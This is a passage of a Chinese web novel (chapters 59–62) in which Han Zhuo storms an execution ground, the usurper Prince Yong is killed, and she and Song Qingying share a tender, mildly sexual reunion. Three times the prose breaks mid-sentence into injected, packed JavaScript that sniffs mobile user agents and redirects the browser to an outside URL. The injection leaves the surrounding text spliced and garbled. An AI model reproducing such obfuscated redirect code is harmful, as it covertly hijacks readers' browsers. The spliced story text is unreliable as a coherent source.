李三三“咚”一声把药碗放下,骂骂咧咧拎着盯着瞧的阿信向外走,秋迟捂着眼睛跟了出去,临走这几人却被韩濯叫住了。 韩濯还没撒手,有以下没一下捋着宋大美人儿散下来的长发,要多不像话有多不像话,扬起的笑脸却很真诚:“谢谢你们啊。” 秋迟在李三三的骂声里关上门的最后一秒,瞧见韩濯好像吻了吻宋青瑛的脸。 59. 刑台惊变 “爹,说好了要买米糕的。” “臭小子,都带你出来了还要这要那,今儿可难得一见,你给我老实点,你姊姊哭着喊着要来瞧老子都没答应,再闹就送你回去!” 小孩子嘴一瘪,骑在汉子的肩膀上不再做声。 西京的百姓好多年没有今日这些热闹可看了。 葬皇子,斩王侯,两件难得一见的大事都在今日办,可辛苦坏了百姓们的腿脚,远远瞧上一眼丧葬的队伍,便要赶着去东市狗脊岭看砍头,一些在东市驻扎的茶水小贩看准了商机,趁着这个机会赚了个盆满钵满。 “这太子啥时候死的,怎么直接就要葬了?” “那谁知道,还有人说皇帝也死了呢,永王不昭告天下,怕的不就是个他坐上位子名不正言不顺?这天下眼瞧着要乱,说不准这位的死因也......哎!不可说不可说。” 另一个将手里的瓜子给这故弄玄虚的人分了点,一边吐掉嘴皮上沾的瓜子皮一边道:“谁知道,谁当皇帝和咱们这些小摊贩都没啥关系,还是想着怎么娶个老婆实在。” “非也,”那人道:“若是天下乱起来,你这茶水摊还开不开得下去?再者说,谁知道新皇登基要干点什么事?万一打起仗来,或者赋税翻几番,你那茶米油盐里哪个变了市价都能压死咱们小老百姓。” 小贩叹了口气:“说的是这个理儿,但咱们也干不成什么,干脆不理这个贵人那个贵人的事儿,落得个心里自在。” 说着拍了拍手上的碎屑:“也莫说什么贵人啊,王侯将相的,眼下不也是一样悄没声儿地就死了?” 旁边那个道:“那你穿这身披麻戴孝的做啥?” 小贩扯了扯粗布衣裳:“咱小百姓可不敢触谁的霉头,和咱心里怎么想没甚关系,莫说咱西京,便是外头州里哪个有些名姓的官员办白事,为了事办的好看,都得百姓披麻戴孝夹道相送,贵人就是贵人啊,死得都比咱活着体面。”说着,吃吃笑了起来。 旁边那个附和了几句,又道:“一会儿要是去东市那边看砍头可记得把这玩意扒下来,万一人说你给罪人戴孝,可要脑袋搬家的。” 小贩道:“这自然,说来真是唏嘘......英武韩家从前何等风光,竟然落得这步田地。” “不是还剩下个驸马爷来着,论名气可比她哥强得多,不过我觉着她也没几天活了......侯府上上下下连个奶妈子都进了大牢,这英武侯也是孬种,吃着咱百姓的饭还贪生怕死......” 旁边一个老人叹了一口气,道:“你们这些后生啊......” 两人齐齐回头,见那须发皆白的老者道:“这天下最不怕死的便是这英武韩家,英武侯这是抛头颅,背骂名,也要全了‘忠义’二字啊......” 这两人见那老人似乎神情恍惚,料定这人老糊涂了,便只是回过头来相视一笑,并不理睬。 太子的棺椁由六十四人抬就,仓促之间,其实礼制是不太合的,永王一身甲胄打马在前,只装模作样系了白绫,不过一路上也无人敢抬头去看他什么尊容,据传永王明日便亲自带孝出征,平雁关之乱,故只得仓促之间葬下骨肉兄弟,礼官拟的祭文与其说是告慰太子在天之灵,不如说是为永王歌功颂德,一篇文章有如大风歌,倒也引得不少不明就里的百姓莫名感动得涕泪纵横,至少在那一刻,真心实意地相信了永王是那临危受命,来日彪炳史册的千古明君。 这条街其实离东市很近了,韩胤抬起头时,恍惚觉得自己听见了那边传来的哀乐。 “阿茵......” 白兰茵跪在他身侧,仰起头看着高悬的太阳,韩胤没有看清楚她的表情,数日水米未进,几乎将他熬成一副骨架,眼前时黑时白,下面众人的议论他听不大清,可心却跳得奇快无比。 幼小的女童才刚会简单地说几句话,就和父母一同被绑了来,可她似乎觉着和爹娘在一处就安心,丝毫不觉着大难将至,见了这么多人竟然觉着好玩,天真地“咯咯”笑了起来。 众人见状,也不免心中不忍。 阳光透过云层的那一刹那,令签坠落于地,砸起一片尘灰,人高马大的刽子手还是第一回砍这样身份的死囚,事先还特意将刀擦亮了些,他自小听着韩家的传奇长大,面对英武侯,还是未免有些紧张,他在韩胤耳边低声道:“对不住,先送您上路,免得看见老婆闺女心里难受。” 韩胤未发一言,死死咬住了嘴唇。 不远处的棺木中,突然传出异动,这异动起初微弱,人们只以为是旁人抬得不稳当所致,并未在意,可随后声响越来越大,一个靠棺椁极近的抬棺人先顾不得地惊叫起来,随后众人也发现异常,纷纷慌张地撂下了棺椁,棺椁立时失去平衡,向旁边栽倒于地。永王心里一跳,迅速抽出刀来。那哀乐骤停,掉落时激起一片尘灰的棺椁内传来阵阵异响,仿若牛鸣。 其中一个扶着棺椁的人扯下了脸上的面具,坦然对上了永王的眼睛。 “皇兄,好久不见。” ——那刽子手搓了搓手,略定了下心神,高高举起了刀。 白兰茵死死抱紧了女儿,眼见人之将死,此时此刻,竟也没人阻拦她。 长刀遮住了太阳。 而后,血溅了出来。 那血并不是韩胤的,一支穿云箭“嗖”地一声以迅雷不及掩耳之势破空而至,正好击中刽子手右手。刽子手只觉一股重力猛地将他向后一带,右臂瞬间一阵剧痛,竟然被这下冲击得脱了臼,而那长刀则当啷一声掉落在韩胤身旁。 一众兵士见异变突生,纷纷抽刀跃出,试图将行刑台团团围困起来。 人群中一阵杂乱,只听得一声马嘶,路边百姓便自主让出一条路。只见来者是一俊秀肆意的年轻人,手握一张沉弓,须臾之间便已到近前,途中射出的几箭无一虚发,放倒了好几个涌上行刑台的兵士。 众目睽睽之下,她一拉缰绳,那马儿便一声长嘶,高高跃起,朝着刑台上那处缺口直冲过去。 弓箭近战并不占优,可她似乎与坐骑本就是一体,飞身踢中了几人手中兵刃,而上半身却还牢牢攀在马背之上,接着手中弓箭仿佛流星一般划过,弓弦瞬间绞住了一人脖颈,将他甩至丈外,那人瞬时了无生息地摔落,不知死活。 “储君并未殒命!永王勾结外邦,弑父夺位,残害忠良!大齐长宁公主并驸马都尉韩濯奉先帝密旨,回京护驾!” 在下方百姓的一片喧哗奔走的乱声中,韩濯手起刀落,砍断了白兰茵和韩胤身上绳索。 见韩濯单枪匹马劫法场,韩胤立时知晓援军还未至,他毒病交集,已近油尽灯枯,此时却深深看了白兰茵一眼。 白兰茵只觉得身子一轻,下一秒便被韩胤甩上了马背,他力道控制得极好,韩濯只觉得马背缓缓一沉,眼瞧着身旁几个兵士又上前来,欲将人再次围困,她当机立断调转马头,一夹马腹,冲下刑台。 韩胤再次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15097855|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被人按伏于地,白兰茵紧紧抱着女儿,并未挣扎,只是望向韩胤,眼里唰地留下两行热泪。 骗子。 韩胤那一扔耗尽了他的全部力气,他对自己□□的感知慢慢丧失,但内心却平静下来。 韩濯挽弓立马的惊天一跃救下了自己的妻女,明明援军未至四面楚歌,可韩胤时至今日才惊觉自己对韩濯的信任早已坚牢。他心中一直紧绷的弦松了下来,自回京以来少有的安定。 与血缘无关,与那早就说不清道不明的恩怨无关,韩胤突然想通了,这样的韩濯没有人会不信任。 她身上天生流着为将者的血。 这一次,他输得心甘情愿。 众目睽睽之下,棺椁轰然打开,原本已一命呜呼的太子竟然坐了起来,在宋青瑛的搀扶下站起了身,与永王对视。 百姓亲眼目睹这一幕,乱哄哄地喧哗起来,永王目眦欲裂,狠狠盯着死而复生的宋乐湛。 王公辅,王公辅! 自己竟被他们摆了一道! 长街上人们的只言片语传到他耳中,牵动着面部神经不断抽动,宋青瑛泰然的目光叫他血海翻涌,心神激荡,几欲呕血。 他费劲苦心地筹谋着一切,到最终却仍被打成乱臣贼子,被王公辅当作跳梁小丑戏弄。 凭什么,凭什么! 凭什么他必须老老实实居于人下,为这虚伪至极的父兄卖命! 不过没关系。 在众人的目光中,永王抬起了手。 “杀了他们,一个不留。” 成王败寇,史书合该由自己来写。 一众侍卫和烛龙卫从两侧逼将上来,仓啷啷的铁器之音喧哗地鼓噪着众人耳膜,原本在长街两侧观礼的百姓推搡着挤进了两侧的茶馆,生怕一不小心掉了脑袋,但仍有几个推搡之中跌倒在地,很快被人流踩踏淹没。 李三三狠狠撤掉了自己遮面的布巾,和宋青瑛一并把太子护在中间,带着他飞身躲过了袭来的两刀:“死鬼!” 宋青瑛对着青蛙哨子“呱”地一吹,那神骏的小灰驴从一侧茶棚之中跃出,一路奋蹄狂奔,一路上身手了得地踢开了四五个躲避不及的侍卫。 宋青瑛将宋乐湛拖上驴背,对李三三道:“快走,我断后!” 宋乐湛从假死之中刚刚转生,身子虚软行动迟缓,只能任人摆布,他扯了扯嘴角,一声“三皇妹”说了一半,宋青瑛便狠狠一抽驴臀,瞬息之间就被载着向街口飞驰而去。 宋乐湛贵为太子,哪里坐过此等不像话的坐骑,被颠簸得好生狼狈,说话声音都断断续续:“这位壮士,敢问援军在何处?” 李三三被生死关头还文邹邹的太子气笑了,跟在驴子身侧疾奔,一边挥剑挡开袭来的刀剑:“我不是援军?抓稳了!” 宋乐湛心里漏了个窟窿,嗖嗖地在他心口吹凉风,他们虾米一样的几个人,对上永王的精锐,不还是一样要死,正慌得厉害,一把银晃晃的长剑直逼上面门,他吓得险些跌落驴背,却只听“铮”地一响,一支羽箭有如雷霆,将长剑打得一歪,永王定睛一看,数丈之外,韩濯怀中护着一抱着婴孩的妇人疾驰而来,手中弓弦犹在震颤。 她半张脸溅满了不知是谁的血珠,凛然似将星杀神,可满面泰然,似乎永王这些精锐不过是一堆泥丸,轻轻松松便可击溃,韩濯高声道:“臣护驾来迟,万望陛下恕罪,韩家两千精锐已候在城外,只待陛下一声号令,便可将叛党踏平!” 60. 岂曰无衣 永王的功夫,是久经沙场真刀真枪拼杀出来的,一招一式虽不如韩濯本家功夫精妙,但皇家自小安排的师父自然也不是等闲之辈,宋青瑛对上,实在是毫无胜算。 宋青瑛刚刚挡下几个侍卫袭来的刀剑,就听永王大声喝道:“不许插手,我要亲手了结这孽种!” 宋青瑛的眼睛被放下刀时透过来的阳光刺了一下,眼前的永王仍然神态倨傲,冷声道:“打不打?” 宋青瑛握紧了剑,回头看时,已经瞧不清李三三他们的形影,李三三轻功不错,但对上永王的精兵或是烛龙卫,也不知能否逃得掉。 “整个西京都是我的人,他们跑得再快又能去哪?不必做无谓挣扎,乖乖束手就擒,说不定我会留你一个全尸。” 宋青瑛心里悬着李三三,更挂念劫法场的韩濯,即便清楚自己打不过,也只想着能拖一时是一时,他抬头看向永王:“整个西京?你又怎知我们没有人?” 永王露出一抹讥讽的笑:“你们的人,充其量不过是那帮愚忠愚孝,被王公辅忽悠的书生,手无缚鸡之力,只会打嘴仗的废物!你们若是真有人能用,会留你和韩二单枪匹马?不必和我唱空城计,不适合你。” 说着又补了一句:“我也不是不能饶你一命,你这副模样,杀了可惜,金粉阁缺个漂亮兔儿爷,你若是乖乖降了,来日说不准多少温柔好男儿醉倒在你红烛帐内,可好过伺候韩家这心许旁人的莽撞武夫。” 这话说得十分轻佻,饶是宋青瑛早已知道永王已清楚自己的真实身份,也没想到他能说出这种辱人的话,他皱了皱眉头,听到最后一句话时眯起了眼:“心许旁人?” 永王一愣,没成想他对着前半段不辩,反而刨根问底韩濯是否“心许旁人”来,一时间竟觉得他这个弟弟着实有点意思:“怎么,你竟不知晓么?” 宋青瑛立在棺木旁,明明四面楚歌危机四伏,可却丝毫不见慌张狼狈,拎着剑也不像来打仗的,倒像是雅集中赏花,下一秒便会赏心悦目地舞起剑来。 他面上丝毫不见恼意,似乎全拿永王的话当放屁,温声道:“崔司谏与驸马读书时节便相识,君子之交,感情深厚,我自然知晓,殿下不知从哪里听了些市井流言,我原以为这种腌臜话都是愚弄那些百姓消遣用的,怎么殿下也听了进去,在下也劝一句殿下,莫杂学旁收的,耽误正事,不然今日怎会百密一疏,教我们有了可乘之机,我们若没有底牌,也不敢莽撞行事,殿下何不猜一猜,除了王公辅之外,还有谁是我们的人?” 永王本想辱一辱这假女儿,毕竟论理来讲,没有哪个男人愿意被说成居于人下的兔儿爷,可宋青瑛似乎颇为无所谓,永王一拳打在了棉花上,复又听他说起王公辅,心里也不免抖了抖。 宋青瑛本是诈他来拖延时间,可永王却听了进去,虽然他心知他们势单力薄,大概率是虚张声势,可王公辅背叛是事实,有一个王公辅,难道他就能保证没有张公辅,李公辅?一时间反而被宋青瑛说得乱了心神。 永王一直悬着的心被一番话搅得越来越乱,看着宋青瑛,越看越觉得他可恨之至。 杀了他。 到了最后,永王的心里只有这一个暴虐的心思。 宋青瑛还未来得及再骗他一骗,永王的刀便砍了过来。 他心跳漏了一拍,浑身的汗毛都炸了起来,慌忙闪避,可永王的刀更快,下一刀很快劈砍而至,宋青瑛躲避不及,身上顿时划了个口子。 他向外滚了几番,才在丈外爬了起来,后腰正撞上楠木棺椁,并着方才的刀伤,钻心地疼。 韩濯每次受的伤,都是这样疼么?宋青瑛心里想着。 大概不是的,她受的伤更严重,只会痛得更厉害。 永王已走到了宋青瑛面前,没等他彻底站起来,又一脚将他踹倒,这一下实在太狠,正中小腹,宋青瑛五脏六腑都快吐了出来,扶着棺椁喘息。 “你服是不服?” 永王的声音传来,似乎是在问宋青瑛,似乎又在问别人,宋青瑛嘴唇蠕动了一下,呢喃了几句,永王没听清,下意识道:“什么?” 宋青瑛又嘀咕了两句,声音有些抖,永王凑得近了些,试图听清他在说什么。 可随后,雪白的剑光一晃,直逼永王面门,千钧一发之际,宋青瑛的刀竟然快到了前所未有的程度,永王也不由得起了一身冷汗,他勉强闪避开来,可宋青瑛的下一剑又逼了过来,不得不引他出手格挡。 永王被武艺稀松的宋青瑛的这几下急招逼得颇为狼狈,心头大怒,当即挥刀反击,盛怒之下,刀法更加凌厉。 方才宋青瑛只是侥幸胜了一招半势,可永王若动了真格,即便他有拼到绝境时的奋起之力,又怎能抵挡十年戎马的为将者? 他本就受了伤,勉力挡了几箭,几回合下来身上又添了些口子,永王似乎不着急一刀杀了他,反而仿佛视他为掌中玩物,非要一刀一刀凌迟致死才好,要不了几息,宋青瑛便周身浴血。 “你服不服?” 宋青瑛接过永王几乎施出全力的一刀,剑身再也难以为继,寸寸崩裂,而永王的下一刀又砍了过来,他躲避不及,只勉强偏了一下头,脸颊被微微划出一条血痕,主要的力道全砸在了肩膀上,顿时鲜血狂涌。 见宋青瑛再无还手之力,永王居高临下,将他拎了起来又重重摔在地上:“说话!” “不。” “什么?”永王下意识问道。 宋青瑛爬了起来,他还在流血,把自己撑起来时抖了一下,可仰起头时对上永王的眼睛闪着锐利的光。 他忽然就想起了那日与他对视的太子妃。 “我说不!” “好啊,好啊......”永王看着他,突然神经质地笑了出来:“都不服,都不认......没关系,全杀了便干净!” 永王的刀将要落下,可随后只听得“铮”地一声,不知什么东西卷上了将要砍下的长刀,那刀身一歪,险些脱手。永王顺着方向看去,之间旁侧的屋檐之上飞身落下几个黑衣人来。 “他们的确并非单枪匹马。” 一个带了些冷意的女声传来:“另外,”她看着永王,清晰道:“你的确不配做天下之主。” 韩濯赶至时,正撞上这一幕。 她看向立在宋青瑛之前的林长青,不由得一呆,这并不在计划之内,就算林长青拿到傀儡丹要把永王除之而后快,而当下局势未明,他们说的援军不过是忽悠人,她身为商人,最会明哲保身,怎么会来搅这趟混水? 但她看见林蔚身后的宋青瑛时,便什么都不想了。 他浑身全是被永王砍出的口子,血染了半身,近乎不能看了,雪白的脸上也添了血痕,因失血而苍白的嘴唇似乎因着痛苦而微微抖动,看向自己时,下意识掩住了脸上的伤。 韩濯那一瞬间周身的血都凝固了,方才她为了助太子突围砍了二十余个追上来的侍卫,将他们和白兰茵藏至深巷,纵使过程凶险万分,也没觉着疲累,如今手却仿佛被人抽了筋骨, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩濯心跳贴着宋青瑛的呼吸,她觉得怀中之人呼吸平顺,略略放下了心,手上渐稳,张弓搭箭,眯起一只眼睛。 她又一次仿佛老僧入定,任下方刀剑争鸣,一片缭乱中,她整个人都沉了下来,眼神深若寒潭,只有发丝微动。 永王正和林长青打得有来有回,他自负武艺高强,不觉得林长青能耐他何,可突然只觉耳后风动,来不及闪避,一支利箭穿过了他的肩膀。 屋顶上,韩濯一言不发,又搭上了第二支。 这种乱斗的情况下,本是极不利于弓箭的,战情瞬息万变,双方离得极近,位置变化更在瞬息之间,稍有不慎便会伤到自己人,可韩濯竟然在乱军之中精准地瞄上了自己! 永王心里大骇,一边应付着林长青,一边勉强打开了韩濯的第二箭,这一箭力道甚大,永王虎口酸麻,长刀几乎脱手。他试图迅速变换身位,快刀快斩,可韩濯的箭仿佛黏在了自己身上,不管他变得如何快,总能冷不防一箭险些教他送命。 正在这时,一阵整肃的脚步声传来,众人朝街头看去,只见几队手持长枪的兵士朝这边赶来。 永王心中大喜,只道这宫内的御林军可算到了,局势似乎瞬时逆转。 可韩濯看见,长街另一头,一个小小的身影赶了过来,手中似乎举着什么,口中大喊大叫,在这一片刀剑声中听不清晰。 是阿信! “援军到了!司马,援军!” 61. 春情难遣 永王勉强避开了韩濯射来的又一支长箭,随手拉过旁侧的兵士迎上林长青的剑刃,那兵士被一剑当胸穿过,大叫一声,顷刻毙命。 “援兵已至,还不降?” 韩濯居高临下看着永王,冷声说道。 永王神经质一般大声笑了起来:“降?我们来赌一把,看看是你们这些蝼蚁先被我摁死,还是西京城门先破!” “你到底还在犹豫什么?”林长青喊道,却是冲着韩濯的:“都这个时候了,玩什么猫捉耗子的把戏,瞄准些!” 韩濯被她戳中心事,握紧了弓箭的手不由一抖。 永王笑道:“她岂敢?我若死了,你的小命怎么办?” 傀儡丹只能续命,没有解药,林长青的死不过是早晚的事。 宋青瑛反应过来,抓紧了韩濯的腕子:“清之!” 林长青避开向她戳来的长枪,踏上枪尖借力一跳大喝道:“快下手!他若真和石勒仍旧交好,雁关又怎会在此时遭袭?我既前来助你,也不会不留后手!” 箭囊里的长箭只余一支,韩濯手竟然有些发抖,她挽弓片刻,却迟迟不发。 “韩濯!为将者最忌优柔寡断,你要把我们都害死在这里么?”林蔚大声斥道,那几队御林军很快便要加入战局,最外围的路路通不得不腾出手兼顾内外夹攻,永王的打法越发不要命起来,似乎吃准了韩濯不敢立时取他性命,长刀险而又险地割断了林长青的几缕头发。 “韩濯!” 下一秒,永王大叫一声,他右手被射了个对穿,长刀脱手,他蓦然后退几步,林长青的剑也立时跟了过去。 “别!”韩濯失声叫道。 但林长青没听,长剑送入了永王的咽喉,血花奔涌,溅到尘灰之上,湿漉漉的粘稠。 “我说过。”林长青收剑:“我不爱受制于人,更讨厌旁人拿我的性命要挟,你算什么东西?” 韩濯愣了片刻,刀兵相接之声渐渐止息,她听见林长青立于众人之中,大声喝道:“叛贼永王已伏诛!” “清之,清之?” 韩濯拉了许久沉弓,此刻松懈下来,才发觉自己双手都有些不受控制虚软发抖,她回过神,伸手去抱宋青瑛,这次没抱动,站起来的时候一阵踉跄。 “清之!我自己可以......” 宋青瑛唇色惨白,韩濯心里突然仿佛被狠狠锤了一下,仓促地喘了几口气,在一片耳鸣中缓过神来:“李三三呢?李三三......” 身边一左一右飞身而上两个黑衣小个子,将韩濯和宋青瑛扶起:“哎,别抱着不松手啊,你这样我怎么带你们下去?堂主!堂主!” 林长青的嘴唇开合,也不知道说的什么,韩濯只觉得周身一沉,便即失去了意识。 韩濯迷迷糊糊醒来时,周边一片寂静,和以往都不相同,她轻轻动了动,只觉得燥得厉害,浑身肌肉酸痛。 她艰难地扭了下酸痛的脖颈,歪头看见身旁躺着的人时,仍下意识屏住了呼吸。 确认宋青瑛只是昏睡后,她松了一口气,把宋青瑛的被子又重新掖了掖。 也不知道是谁这么懂事,将他二人安排在了一张极为宽敞的床铺上,周围的装饰竟然很是熟悉,韩濯艰难地把自己撑起来,盯着房梁瞧了半天。 竟然是公主府。 看样子尘埃落定了,嫂嫂和太子他们应该还好吧?援军和守城的将士是不是没来得及动手?林蔚呢?她真有办法,没骗自己?我那便宜哥死没死? 身边突然动了动,韩濯不知怎么一阵紧张,立刻躺了回去。 宋青瑛似乎很快发现了韩濯就睡在他身旁,韩濯等了半天,也没见宋青瑛有什么动静。 也不知过了多久,韩濯才觉得自己的脸被温热的吐息微微骚动着,他似乎离自己极近,随后似乎扫了扫自己的睫毛。 韩濯骤然睁开了眼。 宋青瑛被抓包,先下意识慌张了一瞬,随后故作坦荡地和韩濯对视。 也不知道是谁先开始的,两个人都“扑哧”一声笑出了声,越笑越放肆,眼泪都出来了。 “傻死了。”韩濯半真半假埋怨着,但看着宋青瑛全须全尾地躺在她身边,心里就软塌塌地陷下去一块,她凑近了了些,在被子下搂住了宋青瑛的腰,情不自禁贴了上去,在他的脸颊上亲了亲。 宋青瑛被她这一番弄得周身一抖,随后微微低了头,把脸埋在韩濯颈窝里蹭了蹭。 韩濯两辈子头一回有这种难以言喻的感受,直想狠狠把他锁进怀里,两个人就这么再不分开天荒地老才好,又怕碰到宋青瑛周身伤口弄痛了他,一股又甜又痒的暖流温进四肢百骸,她心里暗想:“李三三从前骂的对......” 腻了一会儿,韩濯才道:“阿瑛,你觉得怎么样?” 宋青瑛要出口的话硬生生咽了回去,他似乎对这样怜惜自己的韩濯上瘾,盯着她道:“疼。” 韩濯肉眼可见地慌张:“你哪里疼?” “哪里都疼,姐姐......”他又往怀中钻了钻:“你再抱我紧些。” 韩濯哪里看不出这点小招数,可这一声“姐姐”叫得她骨头一酥,看着宋青瑛的可怜样,竟然一点也不想计较,韩濯刹那间脑子开了窍,扳过宋青瑛的下巴,对着干裂的嘴唇就吻了上去。 原本有些苍白的唇瓣逐渐染上血色,宋青瑛还发着低烧,喷出的鼻息有些发烫,他察觉出这样的韩濯实在是和以往不同,他好像跌进了一段旖旎的美梦里,分不清自己是因何晕眩。 韩濯第一回觉得亲吻是一件这么教人舒服的事,对着人亲一亲又啃一啃,趁着公主殿下周身无力,一时兴起,翻身轻轻压了上去,一边亲,一边贴心地把暖烘烘的被子拢好。 突然“砰”地一声,房门被人毫无预兆地打开,宋青瑛吓得一哆嗦,伸手去推还没反应过来的韩濯,后者脑子也“嗡”地僵了一下,飞速坐了起来,带着些未察觉的不满瞧向来人。 顶着一脑门官司的李三三看着二人情态,还如何不明白自己来错了时候,她脚步一顿,随后小声骂了一句:“看我做什么?是不是活够了才敢赶大夫?” 韩濯才反应过来自己方才有多不像话,赶紧整理好下了床:“不敢不敢,李姑娘,有劳。” 李三三冷哼一声,取出脉枕给宋青瑛把脉,没多时就眉头抽了抽:“我看我来的真不是时候,耽误你们好事。” 宋青瑛小脸一红,李三三又道:“他没事,我晚些时候遣人送药来......唔,还有你的一份,病虽好了,也要及时固本。” 韩濯诺诺应是,随后问道:“你见过吴钩兄弟了?还有堂主和嫂嫂她们......” “都没事。”李三三摆摆手道:“伤亡不多,你敢带着这几个人就和永王硬碰硬,侥幸扳回一成,也算有本事。” “不过......”李三三迟疑片刻,道:“英武侯......没了。” 宋青瑛和李三三都下意识看向了韩濯。 后者表情没有什么变化,只是微微怔了怔。 “他的后事......” 这两人都或多或少知道韩濯和英武侯的关系有些复杂,谈起来也不免小心翼翼。 “嫂嫂若身子无恙,凡事便有劳她了。”韩濯揉了揉眉心道:“我兄长不论如何,此番也算得上功臣了罢,太子...不,陛下总得抚恤一番,他的后事,我能少参与些还是少参与些好。” 李三三忍不住想问为什么,但看宋青瑛的眼神,终归还是忍住了。 “你也消停几天吧,铁人也经不起这么糟践,”李三三最后道:“北边战事未明,我猜这西京城你也呆不了几日。” 韩濯一愣,她先前未反应过来,韩胤既然没了,驻守雁关的担子自然而然落到了自己身上。 谈不上高兴,也谈不上不高兴,只是这一日来得太突然。 雁关的风沙似乎隔着几十年的光阴,隔着两代先人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122779|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁血,一瞬间砸在了她的肩膀上,沉甸甸地闷疼。 可随后看着宋青瑛,韩濯心头便微微松了松:有什么可怕的,兵来将挡水来土掩罢了。 李三三见韩濯并未发表言语,便掏出一罐药来,道:“喏,他的药,记得一会儿便帮他换上,此后一日两次,莫忘了。” 说完,李三三也没废话,收好小药包利索地出了门。 “清之......” “嗯。嗯?” 宋青瑛看了看韩濯:“你脸色不大好......节哀。” 韩濯揉了揉眉心:“没什么好节哀的。只是......” 只是什么? 她自己也说不清。 现世她便形单影只,没了母亲便也没了亲人,初来到大齐,唯一的血亲便要她的命,好不容易找到的娘却还不是她的娘......虽说这些事都不是什么问题,她又不是没朋友没人疼,可她毕竟生了爱热闹的性子,从前逢年过节时独自呆在宿舍里听外头隐约的烟花声时,终究还是寂寞。 看着宋青瑛,她突然就生出了一种自己都觉着颇为上不了台面的想法。 “阿瑛。” “嗯?” “你能呆在我身边么?” 宋青瑛看着韩濯的眼睛,那双眼深邃极了,似乎装了万语千言,他自觉需得格外认真回应,可却仿佛说不出话一般,只得重重点了点头。 韩濯突然反应过来自己似乎有些肉麻,她甩了甩头,企图把自己从不知名的情绪里拽出来。她拿起李三三留下的药罐道:“来吧,帮你换药。” 宋青瑛撑起身要下榻:“我自己来。” 韩濯把他按住了,不容拒绝地掀开他的衣襟,可解开纱布看见他的伤口时,还是倒吸一口凉气。 见韩濯不由分说,又要脱他的衣服,宋青瑛脸立时涨得通红:“清之,别......” 可今日的韩濯不知是怎么了,全把他的推拒当耳旁风,曲起的膝盖被重重压了下去,不多时,宋青瑛身上七七八八的伤痕便暴露无遗。 伤口已经清洗上过药了,血虽已止住,但在他原本细腻的皮肤上撕裂开,仍然显得狰狞。 韩濯眼睛有些红,她取了些药,轻轻敷涂在创口之上,她似乎不敢触碰,每次都将碰未碰地搔不到痒处。 这可比永王的刀子折磨人多了,宋青瑛惊觉自己身体出现了某种微妙的变化,他起了一身鸡皮疙瘩,曲起腿小声喊道:“清之!” 韩濯只碰了他几下,便弄出这么大反应,下意识问道:“痛?” 宋青瑛握住了她的手腕,不教她再动,红着一张脸摇头。 韩濯另一只手不小心扫过他的大腿,又是一阵哆嗦。 韩濯看向宋青瑛的脸,眼中隐约水光未消,脸颊泛起桃花一样的红,似乎不完全是烧的。 还没干什么呢,宋青瑛就自己把自己弄得颇有感觉起来,韩濯瞬间了然,扑哧一笑:“躺好。” 被宋青瑛握住的手腕轻而易举挣脱了桎梏,探了下去。 “别,别......” “闭嘴,我帮你。” ...... 韩濯在铜盆中哗啦哗啦拧着帕子,只听背后传来一阵悉悉簌簌的响动,腰便被人抱住了。 “姐姐......” 韩濯忍不住嘴角扬起,把帕子搭在盆沿,转身探了探宋青瑛的额头。 出了不少汗,似乎已经不烧了。 “快躺回去,刚出了汗别受风。” 宋青瑛捏住了韩濯的手指:“姐姐,我能不能,能.....” 韩濯逗他:“能什么?” 宋青瑛不说话了,可怜兮兮盯着韩濯瞧。 韩濯被他盯得受不了,终于松了口,强行忍住了在今日格外明显的冲动,轻轻弹了弹他的脑门:“再等两年。” 就在这时,房门“咚咚”响了两声。 “司马,有人找。” 62. 萱草生堂 韩濯还没做好面对白兰茵的准备。 她其实对自己这个嫂嫂的了解并不算多,但有一点,白兰茵和韩胤的感情确实很好。 韩胤本人节俭惯了,一件袍子穿三年,补一补,再对付一年。但白兰茵不一样,她的衣衫首饰向来鲜亮好看,只是品味教人不敢恭维,明明长了一副柳眉杏眼的冷美人模样,却偏偏喜欢有些俗气的艳色,打扮起来活像林黛玉穿红花绿袄,多少有些不伦不类。 但韩胤偏偏能夸一声好。 好在哪他自然是说不出的,也不知道他是否真心。 韩濯进门的时候,白兰茵正怀抱着女儿,手臂轻轻摇晃,眼帘垂下来,在她的脸上投下一片温柔的光影。 韩濯有些不忍心搅扰,只是静静看着,有些发痴。 我还小的时候,林蔚大概也曾这样抱过我的,韩濯想道。 林蔚小时候,自然也被这样抱过。 “小姑。” 韩濯被这一声唤醒了神,随后反应过来,激灵了一下:“嫂嫂?你......” 白兰茵轻声道:“我都知道。” 韩濯沉默片刻,开口道:“是......兄长告诉您的吧。” 白兰茵点了点头。 韩濯只觉一颗大石压在心口,沉甸甸得难受。 替白兰茵难受。 “我今日来找小姑,是为了把珺儿托付给你。” “什么?”韩濯吃了一惊,随后想通了其中关窍,情深归情深,白兰茵还年轻,没必要在韩胤这一棵树上吊死。 韩濯揉了揉眉心,随后抬起头来,看向白兰茵怀中熟睡的女孩:“嫂嫂,我明白的,有什么需要的尽管开口,你我缘分一场,定不会教你受什么闲言碎语......” 